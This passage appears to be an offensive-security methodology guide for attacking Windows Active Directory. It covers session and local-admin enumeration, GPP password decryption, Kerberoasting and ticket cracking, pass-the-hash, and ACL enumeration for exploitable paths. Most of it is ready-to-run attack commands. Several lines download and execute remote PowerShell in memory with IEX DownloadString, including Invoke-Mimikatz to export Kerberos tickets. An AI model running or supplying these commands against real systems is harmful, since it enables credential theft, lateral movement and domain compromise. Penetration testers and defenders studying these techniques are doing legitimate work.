            [pscustomobject]@{
                ComputerName = "$ComputerName"
                UserName = $($_.GetOwner().Domain)+"\"+$($_.GetOwner().User)
            }
    } | Select-Object -Unique ComputerName, Username | Where-Object -FilterScript {$_.Username -ne '\'}
}
```

**Privileged remote searches of Security EVTX hives**

The `PowerView`'s cmdlet `Find-DomainUserEvent` can be used to find `Security`'s `4624: An account was successfully logged on` events on all domain controllers or on the specified machines.

This method requires the right to access the `Security` `EVTX` hive on the targeted machines, which is granted to members of the local `Administrators` (`SID`: `S-1-5-32-548`) and `Event Log Readers` (`SID`: `S-1-5-32-573`) groups.

```
# By default, search for any user events matching domain admins on every DC in the current domain.
Find-DomainUserEvent
Find-DomainUserEvent -Server <DC> -Credential <PSCredential>

Find-DomainUserEvent -ComputerName <COMPUTERNAME> -UserIdentity <USERNAME>

# If the list of targeted machines is saved in a file, the following PowerShell code snippet can be used to retrieve the logged on events of the machines.
[string[]]$arrayFromFile = Get-Content -Path <FILE>
$commaSeparatedList = '"{0}"' -f ($arrayFromFile -join '","')
Find-DomainUserEvent -Server <DC> -Credential <PSCredential> -ComputerName $commaSeparatedList
```

### Optional checking of remote local admin access

While enumerating local administrators and active sessions is a good way to quickly approximate if any compromised accounts may be used for lateral movement, only direct authentication requests on targeted computers can yield comprehensive results.

The PowerShell cmdlets `Invoke-CheckLocalAdminAccess`, replacing `Test-AdminAccess`, of `PowerView` and `Check-LocalAdminHash` can be used to do so, respectively using `PSCredential` or NTLM hashes.

`Test-AdminAccess` relies on the Windows API `OpenSCManagerW Win32API` while `Check-LocalAdminHash` passes a NTLM hash into the NTLMv2 authentication protocol over SMB or WMI (by default).

The `CrackMapExec` utility can be used as well, to test local admin access using either passwords or NTLM hashes over SMB or WMI.

```
Invoke-CheckLocalAdminAccess -ComputerName <HOSTNAME | IP>

# With the AllSystems switch, Check-LocalAdminHash will utilize PowerView modules to enumerate all domain enrolled computers
# The UserDomain should be specified only if a domain account is provided
Check-LocalAdminHash -UserDomain <DOMAIN> -Username <USERNAME> -PasswordHash <NTLMHASH> -AllSystems
Check-LocalAdminHash -UserDomain <DOMAIN> -Username <USERNAME> -PasswordHash <NTLMHASH> -TargetList <HOSTNAMES_FILE | IP_FILE>

# TARGETS can be IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets
crackmapexec <TARGETS> (-d <DOMAIN> | --local-auth) -u <USERNAME | USERNAMES_FILE> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
```

### Lateral movements

Multiples mechanisms and tools can be used for lateral movements in a Windows environment.

The `Windows - Lateral movements` note introduces the main techniques and tooling.

### Credentials dumping

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system. The Windows operating system notably stores user accounts authentication information in the `HKEY_LOCAL_MACHINE\Security Account Manager (SAM)` and `HKEY_LOCAL_MACHINE\SECURITY` registry hives as well as the `Local Security Authority Subsystem (LSASS)` process.

For techniques and tools to efficiently dump credentials on a Windows host, refer to the `[Windows] Post Exploit` note.

***

### References

<https://stackoverflow.com/questions/18113651/powershell-remoting-policy-does-not-allow-the-delegation-of-user-credentials> <https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/> <https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/> <https://powersploit.readthedocs.io/en/latest/Recon/Find-DomainUserLocation/> <https://blog.cptjesus.com/posts/sharphoundtechnical> <https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-clients-allowed-to-make-remote-sam-calls> <https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives> <https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum> <https://docs.microsoft.com/en-us/windows/win32/api/lmwksta/nf-lmwksta-netwkstauserenum> <https://docs.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-session\\_info\\_10>


# Exploitation - GPP and shares searching

### Overview

The `SYSVOL` folder, accessible on all Domain Controller to all authenticated users, should be carefully reviewed for sensible information (notably the `Group Policy Preferences (GPP)` data). Some content may be accessible to unauthenticated users (`NULL session` or `GUEST`) and can be a way to gain authenticated access to the Domain.

**SMB**

The `Server Message Block (SMB)` protocol, one version of which was also known as `Common Internet File System (CIFS)`, is an application-layer network protocol used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network. It also provides an authenticated inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows.

**Group Policy**

`Group Policy` is a feature of the Microsoft `Windows NT` family of operating systems that controls the working environment of user accounts and computer accounts. `Group Policy` provides centralized management and configuration of operating systems, applications, and users' settings in an Active Directory environment. A version of `Group Policy` called `Local Group Policy` (`LGPO` or `LocalGPO`) also allows `Group Policy Object (GPO)` management on standalone and non-domain joined computers.

Two kinds of `Group Policy` exist : `Group Policy Object (GPO)` and `Group Policy Preferences (GPP)`. One of the most useful features of the `GPP` is the ability to store and use credentials in several scenarios (local user creation, map drives, etc.). When a new `GPP` is created, an associated `XML` file is created in the `SYSVOL` share with the relevant configuration data and if a password is provided, it is `AES-256` bit encrypted. Microsoft published the `AES` private key which can be used to decrypt the password. Since authenticated users (any domain user or users in a trusted domain) have read access to the `SYSVOL` share, anyone in the domain can search the `SYSVOL` share for `XML` files containing a `cpassword` field, which is the field that contains the `AES` encrypted password. There are a few more differences between the two, for additional details refer to the following article : <http://techgenix.com/policies-vs-preferences/>.

**SYSVOL**

The `SYSVOL` is the domain-wide share in Active Directory to which all authenticated users have read access. The `SYSVOL` contains logon scripts, group policy data, and other domain-wide data which needs to be available anywhere there is a Domain Controller (since the `SYSVOL` is automatically synchronized and shared among all Domain Controllers).

In addition to the `GPP` data potentially containing password, more sensible information can be stored in the `SYSVOL` share and its content should be reviewed.

### Group Policy Preferences (GPP) password searching

As stated above, `GPP` may be used in the domain to manage and configure local accounts on domain joined computers. The `GPP` defined may thus contain passwords and the `SYSVOL` folder should be reviewed.

`PingCastle`'s `healthcheck` searches a Domain Controller's `SYSVOL` share for any `XML` (`*.xml`) files that may contain a `cpassword` field and automatically decrypt any password found.

Additionally, the `Get-GPPPassword` cmdlet of the `PowerSploit` suite searches a Domain Controller's `SYSVOL` share for `groups.xml`, `scheduledtasks.xml`, `services.xml` and `datasources.xml` files and returns any (decrypted) `cpassword` passwords:

```
Get-GPPPassword
Get-GPPPassword -Server <DC>
```

To manually search for `cpassword` field / passwords in `GPP`, the `Agent Ransack` GUI or the `SauronEye` CLI tools can be used. Refer to the `Distributed searching tools` section below for more information.

The Ruby `gpp-password` script can be used to decrypt a GPP password:

```
gpp-decrypt <ENC_PASSWORD>
```

### Distributed shares searching

**Enumerate accessible shares**

The `PingCastle`'s `share` module can be used to enumerate the machines joined in the current, or specified, Active Directory domain and then retrieve the exposed shares by each machines through direct `SMB` queries.

```
PingCastle.exe --scanner share
PingCastle.exe --server <DC_FQDN | DC_IP> --user "<DOMAIN>\<USERNAME>" --password "<PASSWORD>" --scanner share
```

From an unauthenticated perspective, `nmap` can be used to conduct a network scan to enumerate exposed `SMB` services and to list the accessible shares on the accessible services:

```
nmap --script smb-enum-shares.nse -p 445 <TARGETS>
nbtscan -r <RANGE>
```

For more practical information about shares listing and searching, refer to the `[L7 SMB] - Methodology` note.

**Distributed searching tools**

The `Agent Ransack` GUI or `SauronEye` CLI files searching tool can be used to search files in `SMB` shares for specified keywords or regex, such as `pass*`, etc.

```
SauronEye.exe --directories <LOCAL_DIRECTORY | NETWORK_SHARE> <...> --filetypes <.FILE_EXTENSION> <...> --contents --keywords <KEYWORD | BASIC_REGEX>
```


# Exploitation - Kerberos Kerberoasting

### Overview

A Kerberoasting attack is an attack on the `Kerberos` authentication protocol that involves compromising the password of a service account, a domain account that has a `ServicePrincipalName (SPN)`, through `service tickets` requests to the `Ticket-Granting Service (TGS)`.

The attack is based on the fact that a part of the `service tickets` is encrypted using one of the service account secrets (`RC4`, corresponding to the `NTLM hash` of the service account password, and `AES 128/256 bits` keys). The encryption type to be used can be specified client-side in order to force the use of the `RC4` key. Thus, an offline cracking attack on the service tickets can be conducted to retrieve the plaintext password of the corresponding service account.

As any authenticated user on the domain in possession of a valid `Ticket-Granting Ticket (TGT)` can requests service tickets for all available services, the service accounts password are exposed to offline cracking attack that are much faster and can not be time restricted.

The attack chain is as follow:

* Identification of accounts with a `SPN` (service accounts)
* Request of a service ticket for those services
* Extraction of the TGS for offline cracking

**Service Principal Names (SPN)**

The `SPN` is a unique identifier of a service instance. `SPNs` are used in `Kerberos` authentication to associate a service instance with a service logon account. `SPN` are used to map a service running on a server to an account it’s running as so that it can accept Kerberos authentication.

### Automated SPN discover, request and export of TGS

The following tools can be used to automate the SPN discovery and the request and export of Service Tickets for offline cracking.

Recommended tools:

* `Rubeus`: robust and allow to filter out AES-enabled accounts.
* `GetUserSPNs.py` / `GetUserSPNs_windows.exe`: robust and potentially less detected by security products.

```
# List statistics about Kerberoastable accounts, such as the number of accounts supporting the different encryption algorithms and the years of last password definition
Rubeus.exe kerberoast /stats

# All service accounts without AES enabled
Rubeus.exe kerberoast /rc4opsec /outfile:<FILE_PATH>

# All RC4-enabled service accounts (whom may have AES enabled as well) - with RC4 encrypted service tickets
Rubeus.exe kerberoast /tgtdeleg /outfile:<FILE_PATH>

# All service accounts - with the highest supported encryption algorithm
Rubeus.exe kerberoast /outfile:<FILE_PATH>

# Specific service account
Rubeus.exe kerberoast /tgtdeleg /user:<USERNAME> /outfile:<FILE_PATH>
Rubeus.exe kerberoast /tgtdeleg /spn:<SPN> /outfile:<FILE_PATH>

# All service accounts in the specified domain with the provided credentials
# Note that sometimes the credentials specification may induces a bug and Rubeus should be used through a runas /Netonly session
Rubeus.exe kerberoast /rc4opsec /dc:<DC_HOSTNAME | DC_IP> /domain:<DOMAIN_FQDN> /creduser:'<DOMAIN_FQDN>\<USERNAME>' /credpassword:'<PASSWORD>' /outfile:<FILE_PATH>
Rubeus.exe kerberoast /dc:<DC_HOSTNAME | DC_IP> /domain:<DOMAIN_FQDN> /creduser:'<DOMAIN_FQDN>\<USERNAME>' /credpassword:'<PASSWORD>' /outfile:<FILE_PATH>

# (Powershell) Invoke-Kerberoast - Load in memory
IEX (New-Object Net.WebClient).DownloadString(‘https://gist.githubusercontent.com/0xbadjuju/0ebe02983273048c237a8b24633cee3f/raw/c385a21c230ee0e274293aa4e50b5b9ed4197df2/Invoke-Kerberoast.ps1')
Invoke-Kerberoast [[-Identity] <String[]>] [-Domain <String>] [-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-OutputFormat <String>] [-Credential <PSCredential>]
Invoke-Kerberoast
Invoke-Kerberoast -Domain <DOMAIN> -Server <DC>
Invoke-Kerberoast -Format "John" / "Hashcat" # Default to John
Invoke-Kerberoast | % { $_.Hash } | Out-File -Encoding ASCII <FILE>

# (Python) Impacket/examples GetUserSPNs.py
# Or standaloned Windows / Linux versions compiled: https://github.com/ropnop/impacket_static_binaries.
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> <DOMAIN>/<USERNAME>
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -outputfile <FILE> <DOMAIN>/<USERNAME>
```

### Manual SPN Discovery

The following tools can be used to retrieve the SPN of the Domain services:

```
# Active Directory module
Get-ADUser -Properties servicePrincipalName -Filter "servicePrincipalName -like '*'" | Select-Object SamAccountName,servicePrincipalName
Get-ADUser -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredential> -Properties servicePrincipalName -Filter "servicePrincipalName -like '*'" | Select-Object SamAccountName,servicePrincipalName

# PowerView
Get-DomainUser -SPN | Select-Object SamAccountName,servicePrincipalName
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}

# (Python) Impacket/examples GetUserSPNs.py
# Request service tickets for all service accounts
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> <DOMAIN>/<USERNAME>
# Request service tickets for the specific account (using the service account SamAccountName)
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> <DOMAIN>/<USERNAME> -request-user '<USERNAME>'
# Pass-the-Hash
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -hashes <LMHASH:NTHASH> <DOMAIN>/<USERNAME>

# (Powershell) GetUserSPNs - retrieve only SPN associated to user accounts (CN=Users) - inject and run automatically
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1')

# (Powershell) Get-SPN - allows for regex searching in the account, service or group name (specified by the Type and Search parameters)
# IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1")
Get-SPN [[-Credential] <PSCredential>] [[-DomainController] <String>] [[-Limit] <Int32>] [[-SearchScope] <String>] [[-SearchDN] <String>] [-Type] <String> [-Search] <String> [[-List] <String>] [<CommonParameters>]
Get-SPN -Type user -Search * -List yes
Get-SPN -Type service -Search "MSSQL*"
Get-SPN -DomainController <DC_HOSTNAME | DC_IP> -Credential <DOMAIN>\<USERNAME [...]

# Empire
usemodule situational_awareness/network/get_spn
```

Focus on the accounts with the higher probability of using a weak password, usually user accounts with a password that has not been changed in a long time / not changed at all.

### Manual request and export of Service Tickets

The following tools can be used to request and export specific user Service Tickets:

```
# (Python) Impacket/examples GetUserSPNs.py
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -request-user '<USER>' <DOMAIN>/<USERNAME> # Requests TGS for the SPN associated to the USER specified (just the username, no domain needed)
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -request-user '<USER>' -outputfile <FILE> <DOMAIN>/<USERNAME>

# (Python) skelsec/kerberoast
kerberoast spnroast -r <DOMAIN> -u '<USER>' <DOMAIN>/<USERNAME>:<PASSWORD>@<DCIP> # Requests TGS for the SPN associated to the USER specified (just the username, no domain needed)
kerberoast spnroast -r <DOMAIN> -u '<USER>' -n <DOMAIN>/<USERNAME>:<NTLMHASH>@<DCIP> # PtH
kerberoast spnroast -r <DOMAIN> -u '<USER>' -n <DOMAIN>/<USERNAME>:<AESKEY>@<DCIP> # Pass the Key
kerberoast spnroast -r <DOMAIN> -t <USERFILE>  <DOMAIN>/<USERNAME>:<PASSWORD>@<DCIP> # File with a list of usernames to roast, one user per line
kerberoast spnroast -r <DOMAIN> -u '<USER>' -o <FILE> <DOMAIN>/<USERNAME>:<PASSWORD>@<DCIP>

# (Powershell)
# Request TGS KerberosRequestorSecurityToken, export them using Mimikatz and convert to hash using John's kirbi2john.py

# Requests TGS for the specified SPN
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"

# Requests TGS for all SPN associated to Users accounts
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}

# Export tickets using mimikatz
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command 'standard::base64 "kerberos::list /export" exit'

# Empire
usemodule credentials/get_spn_tickets
usemodule credentials/mimikatz/extract_tickets
```

### Offline cracking of Service Tickets

Both `John the Ripper` (`magnumripper` fork) and `hashcat` can be used to crack the service tickets.

The hash needs to respect the following format to be recognized by `John` / `hashcat`:

```
# ENCRYPTION_TYPE 23 = RC4
# ENCRYPTION_TYPE 17 = AES128
# ENCRYPTION_TYPE 18 = AES256

$krb5tgs$<ENCRYPTION_TYPE>$*user$realm$test/spn*$63386[...]
```

Depending on the version used, the hash from the `PowerSploit` `Invoke-Kerberos` cmdlet may need to be manually updated. The [`Convert-Invoke-Kerberoast`](https://github.com/blacklanternsecurity/Convert-Invoke-Kerberoast) Python script may be used to automate the process:

```
python Convert-Invoke-Kerberoast.py -f <TICKETS_FILE> -w <OUTPUT_FILE>
```

The following commands to crack the hash can be used:

```
# Its recommended to use Hashcat on a Windows OS for better performance due to driver compatibility
hashcat64.exe -m 13100 -a 0 [-r <RULE_FILE>] <HASHFILE> <WORDLIST>

john --wordlist=<WORDLIST> <HASHFILE>
```

***

### References

<https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/> <https://github.com/GhostPack/Rubeus/blob/master/README.md>


# Exploitation - ACL exploiting

### Overview

Every Active Directory security principal object, uniquely identified by a `Security Identifier (SID)` across a domain, has a security descriptor, which dictates the trustees that are granted permissions over the object.

The security descriptor is formatted according to the `Security Descriptor Definition Language (SDDL)` and will usually be divided into two types of `ACL`:

* A `Discretionary Access Control List (DACL)` which define the trustees that are allowed or denied permissions to the object
* A `System Access Control List (SACL)` which can be used to log attempts to access the object.

The `SDDL` uses `Access Control Entry (ACE)` strings in the `DACL` and `SACL` components of a security descriptor string. Each `ACE` in a security descriptor string is composed of a trustee SID and an access mask defining their associated permissions / access rights. Moreover, a bit flag determine whether child containers or objects can inherit the ACE from the primary object to which the ACL is attached.

Each `ACE` in the `SACL` specifies the types of access attempts by a specified trustee that cause the system to generate a record in the security event log.

**Active Directory ExtendedRights**

A number of extended rights (`ExtendedRight`) are defined by Active Directory to allow permission control on predefined tasks.

Some of these tasks, detailed below, can be exploited to different ends:

| Right                            | Object type                 | Right's GUID                           | Description                                                                                                                                              |
| -------------------------------- | --------------------------- | -------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `AllExtendedRights`              | Any.                        | `00000000-0000-0000-0000-000000000000` | All `ExtendedRight`. On `computers` objects, includes the possibility to retrieve the `LAPS` password (if `LAPS` is deployed on the affected computers). |
| `User-Force-Change-Password`     | User and computer accounts. | `00299570-246d-11d0-a768-00aa006e0529` | `ExtendedRight` that permits the resetting of an user account password.                                                                                  |
| `DS-Replication-Get-Changes`     | Domain root object.         | `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` | `ExtendedRight` that permits, in combination with `DS-Replication-Get-Changes-All`, replication requests through `DRSUAPI` functions.                    |
| `DS-Replication-Get-Changes-All` | Domain root object.         | `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` | `ExtendedRight` that permits, in combination with `DS-Replication-Get-Changes`, replication requests through `DRSUAPI` functions.                        |

### Enumeration of DACL

**Unitary enumeration**

`DSACLS.exe` or `Get-ACL` from the `Remote Server Administration Tools (RSAT)` and `PowerView`'s `Get-DomainObjectAcl` (previously `Get-ObjectAcl`) can be used to enumerate the `DACL` of an Active Directory object.

For a more fine grained enumeration, and translation of extended rights GUID to human readable names, the `Active Directory Users and Computers (dsa.msc)` utility, integrated in the `Remote Server Administration Tools (RSAT)` tools suite, can be used. The `dsa.msc` can be started on out-of-the domain machines and using Pass-the-hash attack through the `Microsoft Management Console (MMC)` utility. For more information, refer to the `Active Directory - Domain Recon` note.

```bash
dsacls.exe <DistinguishedName>

dsacls.exe \\<DC_IP | DC_HOSTNAME\<DistinguishedName>

# PowerShell ActiveDirectory module.
# New-PSDrive is necessary on out-of-the-domain systems, the AD should automatically be mapped otherwise whenever importing the ActiveDirectory PowerShell module
New-PSDrive -Name <AD | DRIVE_NAME> -PSProvider ActiveDirectory -Root "//RootDSE/" -Server "<DC_IP>" -Credential <PSCredential>

# Enumerates the ACL directly using the Get-ACL PowerShell cmdlet which requires a DistinguishedName as parameter.
Get-ACL -Path "<AD | DRIVE_NAME>:<DistinguishedName>" | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight'

# Searches the specified object across all the domain's objects and enumerates its ACL.
# Supports regex searches. Example: -LDAPFilter '(sAMAccountName=*<SAMACCOUNTNAME>*)'
Get-ADObject -LDAPFilter '(sAMAccountName=<SAMACCOUNTNAME>)' | Select-Object -ExpandProperty DistinguishedName | foreach {  Get-Acl -Path ("AD:\" + $_) | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }

# PowerShell PowerView.
Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID>
Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID> -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials>

# List ACE of the specified user on the specified object
$UserSID = Get-DomainObject -Identity <SamAccountName | DistinguishedName | SID | GUID> | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID> -ResolveGUIDs | ? {$_.securityidentifier -eq $UserSID}
```

**Domain-wide automated enumeration**

The `BloodHound` ingestor `SharpHound` (`ACL` or `All` collection methods) and the `PingCastle`'s `compromise graph` can be used to automatically enumerate security objects `DACL` in order to find exploitable paths. Refer to the `Active Directory - AD scanners` note for more information.

`PowerView` can also be used for domain-wide enumeration and filtering on potentially exploitable `ACEs`. The absence of multi-threading however prevents the use of such queries on larger Active Directory domains.

```bash
# Enumeration through a Global Catalog of possibly exploitable ACE on all AD objects defined for the "Everyone", "Anonymous", "Authenticated Users", "Users",  "Domain Users" and "Domain Computers" groups.
# Note that it is recommended to use PingCastle's aclcheck module as it additionally implements checks on GPO files in the SYSVOL share.
# Enumeration can be limited to specific object types using an optional LDAP filter.
# GPO: (objectCategory=groupPolicyContainer) | Certificate templates: (objectClass=pKICertificateTemplate)
$AD_Drive = "ADX"
$GC = (Get-ADDomainController -Discover -Service GlobalCatalog).HostName
New-PSDrive -Name $AD_Drive -PSProvider ActiveDirectory -Root "//RootDSE/" -Server "$GC"
Get-ADObject -Server "$($GC):3268" -SearchBase "" -LDAPFilter '(objectClass=*)' | Select-Object -ExpandProperty DistinguishedName | foreach {
    $VulnACL = Get-Acl -Path ($AD_Drive + ":\" + $_) | Select -ExpandProperty Access | ? { ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner' -or ($_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|00299570-246d-11d0-a768-00aa006e0529|1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) -and $_.IdentityReference -match 'Domain Users|Everyone|Authenticated Users|Anonymous|Domain Computers' -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly" }
    If ($VulnACL) {
        Write-Host $_
        $VulnACL
    }
}
Remove-PSDrive -Name $AD_Drive

# Similar to the code snippet above, using PowerView and more prone to false positives.
Get-DomainObjectAcl [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] [-LDAPFilter '<LDAP_FILTER>'] | ? { (($_.SecurityIdentifier -eq 'S-1-1-0') -or ($_.SecurityIdentifier -eq 'S-1-5-7') -or ($_.SecurityIdentifier -eq 'S-1-5-11') -or ($_.SecurityIdentifier -eq 'S-1-5-32-545') -or ($_.SecurityIdentifier -like 'S-1-5-*-513') -or ($_.SecurityIdentifier -like 'S-1-5-*-515')) -and (($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and (($_.ObjectAceType -eq $null) -or ($_.ObjectAceType -match "00000000-0000-0000-0000-000000000000|00299570-246d-11d0-a768-00aa006e0529|1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"))) -or (($_.ActiveDirectoryRights -match 'Self') -and ($_.ObjectAceType -match "00000000-0000-0000-0000-000000000000|bf9679c0-0de6-11d0-a285-00aa003049e2")))}

Get-ADObject [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] [-LDAPFilter '<LDAP_FILTER>'] | Select-Object -ExpandProperty DistinguishedName | foreach {  Get-Acl -Path ("AD:\" + $_) | S
elect -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' -and }


# Enumeration of GenericAll, WriteDacl and WriteOwner ACEs on all AD objects for all security principals except - CURRENT domain - privileged built-in groups and principals such as "Creator Owner" (SID: S-1-3-0) and Local System (SID: S-1-5-18).
$ForestSID = (Get-ADForest).RootDomain | %{ (Get-ADDomain -Server $_).DomainSID }
$DomainSID = (Get-ADDomain).DomainSID

$EnterpriseAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $ForestSID)).Value
$DomainAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)).Value
$AdministratorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)).Value
$BackupOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)).Value
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
$PrintOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)).Value
$ServerOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)).Value
$AccountOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)).Value
$SchemaAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)).Value
$DomainControllersSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountControllersSid,$DomainSID)).Value
$EnterpriseControllersSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::EnterpriseControllersSID ,$DomainSID)).Value
$CreatorOwnerSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::CreatorOwnerSid ,$DomainSID)).Value
$SelfSid = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::SelfSid,$DomainSID)).Value

$SIDs = @($DomainAdminsSID, $EnterpriseAdminsSID, $AdministratorsSID, $BackupOperatorsSID, $DnsAdminsSID, $PrintOperatorsSID, $ServerOperatorsSID, $AccountOperatorsSID, $SchemaAdminsSID, $DomainControllersSID, $EnterpriseControllersSID, $CreatorOwnerSID, $LocalSystemSID, $SelfSid)

Get-DomainObjectAcl | ? { (($SIDs -notcontains $_.SecurityIdentifier) -and ($_.SecurityIdentifier -notlike "S-1-5-21*-526") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-527")) -and ($_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner')}

# Enumeration of GenericAll, WriteDacl and WriteOwner ACEs on all AD objects for all security principals except - ALL domains - privileged built-in groups and principals such as "Creator Owner" (SID: S-1-3-0) and Local System (SID: S-1-5-18).
# The objects enumerated can be limited to users, groups, computers, GPOs and OUs using the following LDAP Filter:
# Get-DomainObjectAcl -LDAPFilter "(|(objectClass=group)(objectClass=user)(objectClass=computer)(objectClass=groupPolicyContainer)(objectClass=organizationalunit))"
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
Get-DomainObjectAcl | ? { (($_.SecurityIdentifier -notlike "S-1-5-21*-512") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-519") -and ($_.SecurityIdentifier -notlike "S-1-5-32-544") -and ($_.SecurityIdentifier -notlike "S-1-5-32-548") -and ($_.SecurityIdentifier -notlike "S-1-5-32-549") -and ($_.SecurityIdentifier -notlike "S-1-5-32-550") -and ($_.SecurityIdentifier -notlike "S-1-5-32-551") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-518") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-516") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-526") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-527")  -and ($_.SecurityIdentifier -notlike "S-1-5-18") -and ($_.SecurityIdentifier -notlike "S-1-5-9") -and ($_.SecurityIdentifier -notlike "S-1-3-0") -and ($_.SecurityIdentifier -notlike "S-1-5-10") -and ($_.SecurityIdentifier -notlike $DnsAdminsSID)) -and ($_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner')}

# Enumeration on exploitable ACE on GPO objects for non-default users (RID >= 1000).
Get-DomainObjectAcl [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] -LDAPFilter '<LDAP_FILTER>' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
```

The `AD ACL Scanner` GUI tool, written in PowerShell, can be used to enumerate all the domain objects' ACL and export the result either to an HTML document or a csv / xml file. The scan can be run on all the domain objects or recursively on all objects in a specific Organizational Unit (Users, Computers, etc.).

For a full domain-wide scan, it is recommended to activate the following options:

* `Scan depth` -> `Subtree`
* `Objects to scan` -> `All objects`
* `View in report` -> `View Owner`, `Skip Default Permissions` and `SD Modified date`
* `Output options` -> `Translate GUID's in CSV ouput` (to convert the properties GUID into their name)

The following objects classes may be specified in `Objects to scan` for a more targeted scan approach:

